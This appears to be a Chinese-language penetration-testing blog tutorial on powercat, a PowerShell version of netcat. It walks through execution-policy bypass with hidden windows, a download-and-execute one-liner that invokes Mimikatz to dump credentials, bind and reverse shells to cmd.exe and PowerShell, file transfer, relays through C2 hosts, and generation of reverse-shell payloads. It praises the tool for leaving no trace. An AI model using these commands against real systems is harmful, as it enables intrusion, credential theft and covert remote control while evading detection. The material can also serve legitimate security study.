powercat
关键字的寥寥无几,更别说有这款工具的详细用法了。
0x01 powercat简介
是NetCat
的Powershell
版本。作者的介绍也是这样写的,但是我觉得,powercat
不管怎么样,也有比NetCat
强的一点,就是没有任何痕迹!来无影去无踪。关掉powershell
我们还是好朋友。
0x02 下载运行
直接克隆回本地:
git clone https://github.com/besimorhino/powercat.git
你直接执行的话是肯定执行不了的,因为你没有权限
导入也导入不了,执行也执行不了。正常
在终端输入get-executionpolicy
Restricted——默认的设置,不允许任何script运行
AllSigned——-只能运行经过数字证书签名的script
RemoteSigned—-运行本地的script不需要数字签名,但是运行从网络上下载的script就必须要有数字签名
Unrestricted—-允许所有的script运行
要运行Powershell脚本程序,必须要将Restricted策略改成Unrestricted,而修改此策略必须要管理员权限。但是在渗透过成功,你要有管理员权限,那还玩什么?直接Mimikatz
读密码了,还在这费这劲。所以,权限绕过吧。
本地权限绕过
PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1
本地隐藏权限绕过执行脚本
PowerShell.exe -ExecutionPolicy Bypass -NoLogo -Nonlnteractive -NoProfile -WindowStyle Hidden(隐藏窗口) -File xxx.ps1
用IEX下载远程PS1脚本回来权限绕过执行
powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI');Invoke-Mimikatz-DumpCreds"
所以,直接选择最简单的吧,也别下载了,直接远程权限绕过,在Powershell
中执行:
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')
可以看到Powercat
已经成功执行了
0x03powercat
基本操作
powercat
到底还是netcat
的翻版,他们操作起来非常相似,我就不贴一堆命令,然后贴中文注释了,因为我的英文水平还停留在小学六年级的样子。大家需要的话自行google
powercat
因为是netcat
的翻版,所以他们两个连接起来没有任何的问题,先来建立起一个简单的Socket
通信看看样子,总感觉很牛的样子
简单的socket
通信
kali
的ip:192.168.12.101
在kali
下用netcat
来执行命令
netcat -l -p 8888 -vv
在Windows
测试机下执行powrcat
命令
powercat -c 192.168.12.101 -p 8888 -v
执行完这两道命令,kali
跟windows
已经建立了一个基本的socket
回话了,相当于一个聊天窗口,企鹅的功能,在悄悄秀一波英文水平,没骗你们,真的只会这一句
powercat
命令解析
-c 指定一个ip地址
-p 指定一个端口
-v 显示详情
这是一个基本的socket
通信,相信会撸代码的同学都可以轻松写出这样的代码
一个基本的socket
通信是没有可能满足我们的。继续深入
正向链接
windows主机ip:192.168.12.109
在windows
主机下执行:
powercat -l -p 8888 -e cmd.exe -v
在kali
下用Netcat
执行:
netcat -vv 192.168.12.109 8888
成功返回换一个cmd命令行
powercat
命令解析
-l 监听模式,用于入站链接
-p 本地端口号
-e 程序重定向,跟nc一毛一样
-v 显示详情
反向链接
kali
下执行:
netcat -l -p 8888 -v
windows
主机下执行:
powercat -c 192.168.12.101 -p 8888 -e cmd.exe
成功反向链接回来
来个牛的
上面可以跟nc
配合,但是nc
没有办法返回powershell
,powershell
就是在渗透过程中的一把利刃,而powercat
刚刚好可以返回一个powershell
两台windows
测试机的ip
分别是192.168.12.108
,192.168.12.109
在ip
为192.168.12.109
的机器上执行:
powercat -l -p 9999 -v
在另一台上执行:
powercat -c 192.168.12.109 -p 9999 -ep
可以直接干一点坏坏的事情,比如说,下载个mimikatz
,然后。。
powercat
命令解析
-eq 返回powershell
0x04 Powercat其他操作
文件上传
这个不用说,基本这种连接的都支持
在c:
下新建一个test.txt
的文件,写入hello word!
在有text.txt
的机器执行:
powercat -c 192.168.12.108 -p 9999 -i c:test.txt -v
另一台机器执行
powercat -l -p 9999 -of c:test.txt -v
我建议在这里加上-v
参数,要不我们不知道文件有没有上传完,当上传完成的时候,直接Ctrl+c
关闭连接,如果不关闭,可以继续向文件中写入文件
这里并没有直接结束掉,而是又写入了一些文件,来看看在靶机中到底写入了什么
powercat
命令解析
-i 指定要上传文件的绝对路径
-of 接受文件的路径以及名称
中继
这个功能也是基本都有的功能,不做演示,个人觉得用的不多,当然,做跳板另当别论。直接贴上官方的代码(借助google翻译):
TCP侦听器到TCP客户端中继: powercat -l -p 8000 -r tcp:10.1.1.16:443TCP侦听器到UDP客户端中继: powercat -l -p 8000 -r udp:10.1.1.16:53TCP侦听器到DNS客户端中继 powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.comTCP侦听器使用Windows默认DNS服务器到DNS客户端中继 powercat -l -p 8000 -r dns ::: c2.example.comTCP客户端到客户端中继 powercat -c 10.1.1.1 -p 9000 -r tcp:10.1.1.16:443TCP侦听器到侦听器中继 powercat -l -p 8000 -r tcp:9000
类似MSF的回弹功能
powercat
这个回弹很牛,可正向可反向。
powercat -c 192.168.12.109 -p 9999 -e cmd -g
生成一个反向链接的payload
,可以链接到192.168.12.109
的9999
端口,这条命令之后是这个样子的= =
这是powershell
脚本,保存为.ps1
的格式,运行吧
正向连接马:
powercat -l -p 8000 -e cmd -ge
坚挺本地的8000
端口,然后等待链接。执行后:
用法,没有尝试,应该与Empire
的payload
相似.
说句我的看法,个人觉得不是很实用,如果是你,有了这样的机会,你会选择用Powercat
吗?要我,我直接上Metasploit
,Empire
了。
0x05 总结
Powercat
的大部分功能都是可以用其他工具代替的,但是,不管怎么说,都是一种思路。他的存在肯定有他的意义,要不作者也不会无聊开发出这样的工具来。讲句心里话,我最看好他执行过后什么都不会留下。